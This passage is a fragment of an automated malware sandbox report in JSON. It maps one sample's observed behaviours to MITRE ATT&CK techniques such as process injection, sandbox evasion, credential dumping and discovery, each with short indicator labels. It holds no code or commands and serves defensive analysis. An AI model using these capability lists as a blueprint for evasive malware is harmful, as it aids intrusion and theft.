string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"informative","value":"Contains reference to messaging system library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"malicious","value":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"},{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to uninstall applications (Powershell command string)"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Contains ability to delete device driver (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Uses REG.EXE to query registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Queries volatile registry keys"},{"type":"informative","value":"Collects OS version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Found registry location string related to processor"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Searches for patterns in files"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"malicious","value":"Tries to gather information about running processes on a system"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve system network configuration"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"Contains ability to copy files using xcopy"},{"type":"informative","value":"Possible archive activity detected"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Remote Email Collection","attack_id":"T1114.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/002","identifiers":[{"type":"informative","value":"Found PowerShell command strings related to Exchange mailboxes"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"tactic":"Collection","technique":"Data 